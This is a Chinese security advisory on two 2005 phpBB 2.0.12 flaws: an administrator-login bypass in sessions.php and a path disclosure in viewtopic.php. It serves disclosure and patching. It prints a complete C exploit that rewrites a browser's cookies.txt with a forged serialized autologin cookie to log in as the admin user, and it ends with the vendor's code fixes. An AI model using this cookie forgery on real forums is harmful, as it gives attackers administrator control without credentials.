phpBB 2.0.12非法获取管理员权限及路径泄露漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-01-09
phpBB 2.0.12非法获取管理员权限及路径泄露漏洞

发布日期: 2005年3月7日
受影响系统:
phpBB Group phpBB 2.0.12
不受影响系统:
phpBB Group phpBB 2.0.13
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 12678

phpBB是一种用PHP语言实现的基于Web脚本的开放源码论坛程序,使用较为广泛。

phpBB 2.0.12版本中存在两个安全漏洞,其中一个很严重,允许任意用户都可以获取管理权限,另外一个漏洞会导致服务器路径泄露。

第一个漏洞存在于includes/sessions.php文件中,其对$sessiondata['autologinid']变量的类型及比较操作存在问题,远程安全者可以通过伪造特别的变量值使用判断用户合法性的操作始终返回真,从而使用任意用户可以在不知道口令的情况下以管理员的身份认证成功。第二个漏洞在于viewtopic.php文件中,由于对消息的过滤不充分,使路径泄露成为可能。

<*来源:federico gonzales (elrengo94@hotmail.com)
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110970201920206&w=2
        http://www.phpbb.com/phpBB/viewtopic.php?t=267563
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

/*
Author: Paisterist
Date: 28-02-05
[N]eo [S]ecurity [T]eam ?

描述:这个安全程序可以修改cookies.txt(Firefox和Mozilla)文件中的用户ID。你必须要登陆到没有选定autologin选项的论坛,然后关闭导航器,执行安全。

注意:必须将安全代码放置在cookies.txt的同一目录内。安全可以覆盖指定了用户ID的所有phpbb cookies。

By Paisterist

http://neosecurityteam.net
http://neosecurityteam.tk

Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx, Arcanhell, Alluz.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv[]) {
    FILE *pointer;
    char contenido[10000],
    cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22us /
erid%22%3Bs%3A1%3A%22",   cookief[9]="%22%3B%7D", cookiec[106],
    cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22useri /
                d%22%3Bs%3A1%3A%222%22%3B%7D",
    *pos;
    int p=0, i=0;
   
    if (argc!=2) {
       printf("Usage: phpbb_exploit.exe user_id/n/n");
       exit(0);
    }
    pointer=fopen("cookies.txt", "r");
   
    if (pointer) {
       fread(contenido, 300, 10, pointer);
       fclose(pointer);
    } else {
           printf("The file can't be open/n");
           exit(0);
    }
   
    strcpy(cookiec, cookie);
    strncat(cookiec, argv[1], 6);
    strcat(cookiec, cookief);
   
    if (pos=strstr(contenido, cookiec)) {
    p=pos - contenido;
        while (i<92) {
              if (cookie_false[i]!=NULL)
        contenido[p]=cookie_false[i];
        p++;
        i++;
        }
    }
    else {
         printf("The file cookies.txt isn't valid for execute the exploit or the user /
id is incorrect/n");  exit(0);
    }
       
    if (pointer=fopen("cookies.txt", "w")) {
    fputs(contenido, pointer);
    printf("Cookie modified: /n/n%s/n/n", contenido);
    printf("The cookies file has overwriten... looks like the exploit has worked");
    } else printf("/n/nThe file cookies.txt has not write permissions.");
    return 0;
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

phpBB Group
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.phpbb.com/downloads.php

也可按照如下方法修复:

1 获取管理权限漏洞

打开includes/sessions.php

请找到以下代码:
if( $sessiondata['autologinid'] == $auto_login_key )

替换为:
if( $sessiondata['autologinid'] === $auto_login_key )

2 路径泄漏漏洞

打开viewtopic.php

请找到以下代码:
$message = str_replace('/"', '"', substr(preg_replace('#(/>(((?>([^><]+|(?R)))*)/<))#se', "preg_replace('#/b(" . $highlight_match . ")/b#i', '<span style=/"color:#" . $theme['fontcolor3'] . "/"><b>////1</b></span>', '//0')", '>' . $message . '<'), 1, -1));

替换为:
$message = str_replace('/"', '"', substr(@preg_replace('#(/>(((?>([^><]+|(?R)))*)/<))#se', "@preg_replace('#/b(" . $highlight_match . ")/b#i', '<span style=/"color:#" . $theme['fontcolor3'] . "/"><b>////1</b></span>', '//0')", '>' . $message . '<'), 1, -1));